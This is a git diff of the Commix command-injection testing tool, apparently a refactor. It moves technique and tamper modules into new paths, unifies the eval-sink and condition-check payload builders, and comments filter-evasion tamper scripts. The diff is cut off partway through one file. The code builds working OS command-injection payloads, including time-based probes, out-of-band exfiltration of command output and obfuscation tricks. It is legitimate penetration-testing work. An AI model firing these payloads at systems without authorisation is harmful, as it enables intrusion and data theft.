a/src/core/tamper/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/blind/techniques/eval/__init__.py b/src/core/techniques/__init__.py similarity index 98% rename from src/core/injections/blind/techniques/eval/__init__.py rename to src/core/techniques/__init__.py index de196a7f70..7cd55728d8 100644 --- a/src/core/injections/blind/techniques/eval/__init__.py +++ b/src/core/techniques/__init__.py @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/techniques/classic/__init__.py b/src/core/techniques/classic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/classic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/techniques/classic/cb_handler.py similarity index 95% rename from src/core/injections/results_based/techniques/classic/cb_handler.py rename to src/core/techniques/classic/cb_handler.py index 42f97afcfe..64b4af0139 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/techniques/classic/cb_handler.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import handler +from src.core.controller import handler """ The "classic" technique on result-based OS command injection. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/techniques/classic/cb_injector.py similarity index 96% rename from src/core/injections/results_based/techniques/classic/cb_injector.py rename to src/core/techniques/classic/cb_injector.py index f64eacdeba..46d1bc424b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/techniques/classic/cb_injector.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import injector +from src.core.controller import injector """ The "classic" technique on result-based OS command injection. @@ -38,3 +38,5 @@ def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_meth def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): url = OUTPUT_TEXTFILE = timesec = "" return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + +# eof diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/techniques/classic/cb_payloads.py similarity index 99% rename from src/core/injections/results_based/techniques/classic/cb_payloads.py rename to src/core/techniques/classic/cb_payloads.py index 55242cbcd5..be4e14fabe 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/techniques/classic/cb_payloads.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ The classic injection technique on Classic OS Command Injection. diff --git a/src/core/techniques/file_based/__init__.py b/src/core/techniques/file_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/file_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/techniques/file_based/fb_handler.py similarity index 95% rename from src/core/injections/semiblind/techniques/file_based/fb_handler.py rename to src/core/techniques/file_based/fb_handler.py index 054da8b20b..37af0912f8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/techniques/file_based/fb_handler.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import handler +from src.core.controller import handler """ The "file-based" technique on semiblind OS command injection. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/techniques/file_based/fb_injector.py similarity index 96% rename from src/core/injections/semiblind/techniques/file_based/fb_injector.py rename to src/core/techniques/file_based/fb_injector.py index ee870c733f..d1735521a1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/techniques/file_based/fb_injector.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import injector +from src.core.controller import injector """ The "file-based" technique on semiblind OS command injection. @@ -42,4 +42,4 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py similarity index 99% rename from src/core/injections/semiblind/techniques/file_based/fb_payloads.py rename to src/core/techniques/file_based/fb_payloads.py index e74bdf3b5c..57844578b9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -19,7 +19,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ The output file, under the server's root directory, with its separators doubled so that a Windows @@ -156,4 +156,4 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/techniques/oob/__init__.py b/src/core/techniques/oob/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/oob/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/blind/techniques/oob/oob_handler.py b/src/core/techniques/oob/oob_handler.py similarity index 95% rename from src/core/injections/blind/techniques/oob/oob_handler.py rename to src/core/techniques/oob/oob_handler.py index 0d1539ca98..41b972f526 100644 --- a/src/core/injections/blind/techniques/oob/oob_handler.py +++ b/src/core/techniques/oob/oob_handler.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import handler +from src.core.controller import handler """ The out-of-band technique on OS command injection. diff --git a/src/core/injections/blind/techniques/oob/oob_injector.py b/src/core/techniques/oob/oob_injector.py similarity index 96% rename from src/core/injections/blind/techniques/oob/oob_injector.py rename to src/core/techniques/oob/oob_injector.py index 3b963029f9..f56e96e4df 100644 --- a/src/core/injections/blind/techniques/oob/oob_injector.py +++ b/src/core/techniques/oob/oob_injector.py @@ -16,9 +16,9 @@ import time from src.utils import settings -from src.core.injections.controller import handler -from src.core.injections.controller import checks -from src.core.injections.blind.techniques.oob import oob_payloads as payloads +from src.core.controller import handler +from src.core.controller import checks +from src.core.techniques.oob import oob_payloads as payloads """ The out-of-band technique on OS command injection. diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py similarity index 94% rename from src/core/injections/blind/techniques/oob/oob_payloads.py rename to src/core/techniques/oob/oob_payloads.py index 1ef3a1a751..b963bddf5e 100644 --- a/src/core/injections/blind/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -18,9 +18,9 @@ import string import binascii -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ The out-of-band technique on OS command injection. @@ -124,11 +124,19 @@ def decision(separator, transport, hostname, proof="", prologue=""): # The payload ends on a hostname, so it is the part a sink's own trailing characters would land in. return payload + checks.shell_tail() +# Standing in for a command, so how a language wraps one can be read back off the result. +EVAL_MARK = "\x00command\x00" + +# How the language now in force renders a command whose output it hands back. +def _rendered(command): + return settings.EVAL_GRAMMAR.print_statement("", [command]) + """ Out-of-band decision payload for a dynamic code evaluation sink. """ def decision_eval(separator, transport, hostname, proof="", prologue=""): - return "print(`" + prologue + reach_command(transport, hostname, proof) + "`)" + (";" if separator else "") + command = prologue + reach_command(transport, hostname, proof) + return _rendered(command) + (settings.EVAL_GRAMMAR.TERMINATOR if separator else "") """ Out-of-band payload that sends the output of a command back through an evaluation sink. @@ -137,7 +145,7 @@ def exfiltrate_eval(separator, transport, hostname, cmd): inner = exfiltrate("", transport, hostname, cmd) if not inner: return "" - return "print(`" + inner + "`)" + (";" if separator else "") + return _rendered(inner) + (settings.EVAL_GRAMMAR.TERMINATOR if separator else "") """ The prefixes an evaluation sink is reached through, execution functions included. @@ -149,7 +157,16 @@ def eval_prefixes(): Report whether a stored payload targets an evaluation sink. """ def is_eval(payload): - return "print(`" in (payload or "") + if not payload: + return False + # A stored payload may have been built in a language other than the one in force now, so every + # supported one is asked how it opens such a call. + from src.core import eval as _eval + for language in settings.SUPPORTED_EVAL_LANGUAGES: + opening = _eval.grammar(language).print_statement("", [EVAL_MARK]).split(EVAL_MARK)[0] + if opening and opening in payload: + return True + return False """ Name the transport a stored payload was built with. diff --git a/src/core/techniques/tempfile_based/__init__.py b/src/core/techniques/tempfile_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/tempfile_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py similarity index 94% rename from src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py rename to src/core/techniques/tempfile_based/tfb_handler.py index d7ba82fb8f..a5adf77e6b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -13,10 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import handler -from src.core.injections.controller import checks +from src.core.controller import handler +from src.core.controller import checks """ The "tempfile-based" injection technique on semiblind OS command injection. @@ -54,4 +54,4 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/techniques/tempfile_based/tfb_injector.py similarity index 97% rename from src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py rename to src/core/techniques/tempfile_based/tfb_injector.py index 9954c36614..b77d6b5329 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/techniques/tempfile_based/tfb_injector.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import injector +from src.core.controller import injector """ The "tempfile-based" injection technique on semiblind OS command injection. @@ -37,4 +37,4 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py similarity index 92% rename from src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py rename to src/core/techniques/tempfile_based/tfb_payloads.py index 83654bad0b..69b4f293e5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -14,8 +14,8 @@ """ from src.utils import settings -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib +from src.core.controller import checks +from src.core.techniques.time_based import tb_payloads """ The "tempfile-based" technique on Semiblind OS Command Injection. @@ -147,52 +147,6 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http return checks.sanitize_payload_newlines(payload) -""" -Build a raw shell numeric comparison for false-positive checks; Unix-only. -""" -def condition_check(separator, condition, timesec, http_request_method): - if settings.TARGET_OS == settings.OS.WINDOWS: - return None - if separator in (";", "\n", "\r\n"): - payload = (separator + - "[ " + condition + " ]" + separator + - settings.RANDOM_VAR_GENERATOR + "=$?" + separator + - "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" - ) - elif separator == "&": - payload = (separator + - "[ " + condition + " ]" + "&&" + - "sleep " + str(timesec) - ) - elif separator in ("&", "&&", ""): - payload = ("&" + - "sleep 0" + separator + - "[ " + condition + " ]" + separator + - "sleep " + str(timesec) - ) - elif separator in ("|", "||"): - pipe = separator - payload = (pipe + - "[ ! " + condition + " ]" + "||" + - "sleep " + str(timesec) - ) - else: - return None - - payload = checks.append_custom_marker(payload, separator) - - return checks.sanitize_payload_newlines(payload) - -""" -Windows counterpart of condition_check() above - 'set /a' has no boolean test operator, so an -equality check is read off a subtraction landing on the expected value. -""" -def windows_condition_check(separator, expr, expected, timesec): - chain = checks.windows_separator(separator) - if chain is None: - return None - return checks.windows_probe(chain, "set /a " + expr, "==", expected, timesec) - """ Execute shell commands on vulnerable host. """ @@ -296,41 +250,53 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == "&&" : ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) elif separator == "&": payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass - payload = checks.append_custom_marker(payload, separator) + if settings.CUSTOM_INJECTION_MARKER: + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) """ -Get the execution output, of shell execution. +The same comparison the time-based technique asks for, which this one asks in the same words. + +Both techniques prove a condition by whether the target waits, so the payload that states it is the +same payload - it was written out twice, and the two copies had to be kept in step by hand. """ +def condition_check(separator, condition, timesec, http_request_method): + return tb_payloads.condition_check(separator, condition, timesec, http_request_method) + +# The Windows counterpart, likewise shared rather than restated. +def windows_condition_check(separator, condition, timesec, http_request_method): + return tb_payloads.windows_condition_check(separator, condition, timesec, http_request_method) + +# Read one character of the file back, by asking whether its ordinal is at or below a value. def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" diff --git a/src/core/techniques/time_based/__init__.py b/src/core/techniques/time_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/time_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/techniques/time_based/tb_handler.py similarity index 95% rename from src/core/injections/blind/techniques/time_based/tb_handler.py rename to src/core/techniques/time_based/tb_handler.py index fc15ec3098..fd311a9de2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/techniques/time_based/tb_handler.py @@ -15,7 +15,7 @@ from src.utils import common from src.utils import settings -from src.core.injections.controller import handler +from src.core.controller import handler """ The "time-based" injection technique on Blind OS Command Injection. @@ -54,7 +54,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, # Return when a technique was resumed or found; only False should continue prompting. return result elif proceed_option.lower() == "s": - from src.core.injections.semiblind.techniques.file_based import fb_handler + from src.core.techniques.file_based import fb_handler fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) return False elif proceed_option.lower() == "q": diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/techniques/time_based/tb_injector.py similarity index 96% rename from src/core/injections/blind/techniques/time_based/tb_injector.py rename to src/core/techniques/time_based/tb_injector.py index cf3c6a1385..68a828f63c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/techniques/time_based/tb_injector.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.core.injections.controller import injector +from src.core.controller import injector """ The "time-based" injection technique on Blind OS Command Injection. @@ -33,4 +33,4 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese OUTPUT_TEXTFILE = "" return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py similarity index 99% rename from src/core/injections/blind/techniques/time_based/tb_payloads.py rename to src/core/techniques/time_based/tb_payloads.py index dc2c3acf25..174a9a8e1f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ diff --git a/src/core/testing.py b/src/core/testing.py index 5ac4a3c3bf..33f8deeb03 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -52,3 +52,5 @@ def smoke_test(): result = result + "failed." settings.print_data_to_stdout(settings.print_bold_error_msg(result)) raise SystemExit() + +# eof diff --git a/src/tamper/__init__.py b/src/tamper/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/tamper/backslashes.py b/src/tamper/backslashes.py similarity index 83% rename from src/core/tamper/backslashes.py rename to src/tamper/backslashes.py index 73bac600e0..0fa1ac384f 100644 --- a/src/core/tamper/backslashes.py +++ b/src/tamper/backslashes.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds back slashes (\) between the characters in a given payload. @@ -24,6 +24,7 @@ __tamper__ = "backslashes" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) @@ -31,7 +32,8 @@ def dependencies(): obf_char = "\\" settings.TAMPER_SCRIPTS[__tamper__] = True +# Put a back slash between the characters, which the shell reads straight through. def tamper(payload): return checks.interleave_char_tamper(payload, obf_char) -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/backticks.py b/src/tamper/backticks.py similarity index 86% rename from src/core/tamper/backticks.py rename to src/tamper/backticks.py index fb1345a14c..097e71e767 100644 --- a/src/core/tamper/backticks.py +++ b/src/tamper/backticks.py @@ -13,9 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ @@ -26,12 +26,14 @@ __tamper__ = "backticks" __priority__ = settings.PRIORITY.HIGHEST +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_unix_only(__tamper__) or checks.tamper_dep_interpreter_incompatible(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Substitute the command through backticks rather than through '$()'. def tamper(payload): if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True @@ -41,4 +43,4 @@ def tamper(payload): ) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/base64encode.py b/src/tamper/base64encode.py similarity index 91% rename from src/core/tamper/base64encode.py rename to src/tamper/base64encode.py index bf57712f93..ebe3ec1b69 100644 --- a/src/core/tamper/base64encode.py +++ b/src/tamper/base64encode.py @@ -16,7 +16,7 @@ import base64 from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import checks +from src.core.controller import checks """ About: base64-encodes all characters in a given payload. @@ -36,6 +36,7 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) +# Hand the command over base64-encoded, for the target to decode and run. def tamper(payload): checks.tamper_check_space2plus_conflict(__tamper__) payload = _urllib.parse.unquote(payload) @@ -43,4 +44,4 @@ def tamper(payload): payload = payload.decode(settings.DEFAULT_CODEC) return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/caret.py b/src/tamper/caret.py similarity index 87% rename from src/core/tamper/caret.py rename to src/tamper/caret.py index a8799449f5..7ec533786a 100644 --- a/src/core/tamper/caret.py +++ b/src/tamper/caret.py @@ -15,7 +15,7 @@ import re from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds caret symbol (^) between the characters in a given payload. @@ -25,13 +25,16 @@ __tamper__ = "caret" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_windows_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Put a caret between the characters, which cmd.exe reads straight through. def tamper(payload): + # The carets themselves, kept out of the quoted words that must survive whole. def add_caret_symbol(payload): words = re.findall(r"\w+", payload) if words: @@ -57,4 +60,4 @@ def add_caret_symbol(payload): else: return payload -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/dollaratsigns.py b/src/tamper/dollaratsigns.py similarity index 83% rename from src/core/tamper/dollaratsigns.py rename to src/tamper/dollaratsigns.py index af5f439051..6f9601ab21 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/tamper/dollaratsigns.py @@ -14,7 +14,7 @@ """ from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. @@ -24,6 +24,7 @@ __tamper__ = "dollaratsigns" __priority__ = settings.PRIORITY.LOW +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) @@ -31,7 +32,8 @@ def dependencies(): obf_char = "$@" settings.TAMPER_SCRIPTS[__tamper__] = True +# Put an empty '$@' between the characters, which the shell expands to nothing. def tamper(payload): return checks.interleave_char_tamper(payload, obf_char) -# eof \ No newline at end of file +# eof diff --git a/src/core/tamper/doublequotes.py b/src/tamper/doublequotes.py similarity index 90% rename from src/core/tamper/doublequotes.py rename to src/tamper/doublequotes.py index d862ec948f..74dbe7db27 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/tamper/doublequotes.py @@ -15,7 +15,7 @@ import re from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ About: Adds double quotes (") between the characters in a given payload. @@ -25,6 +25,7 @@ __tamper__ = "doublequotes" __priority__ = settings.PRIORITY.BELOW_NORMAL +# Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) @@ -45,7 +46,9 @@ def dependencies(): "systeminfo", "tasklist", "wmic", "reg", "sc", "schtasks", "bitsadmin", "mshta", "rundll32", "findstr", "find", "more", "sort", "attrib", "icacls") +# Put empty double quotes between the characters, which the shell drops. def tamper(payload): + # The quotes themselves, added only where they are not inside a quoted word already. def obfuscate(text): return 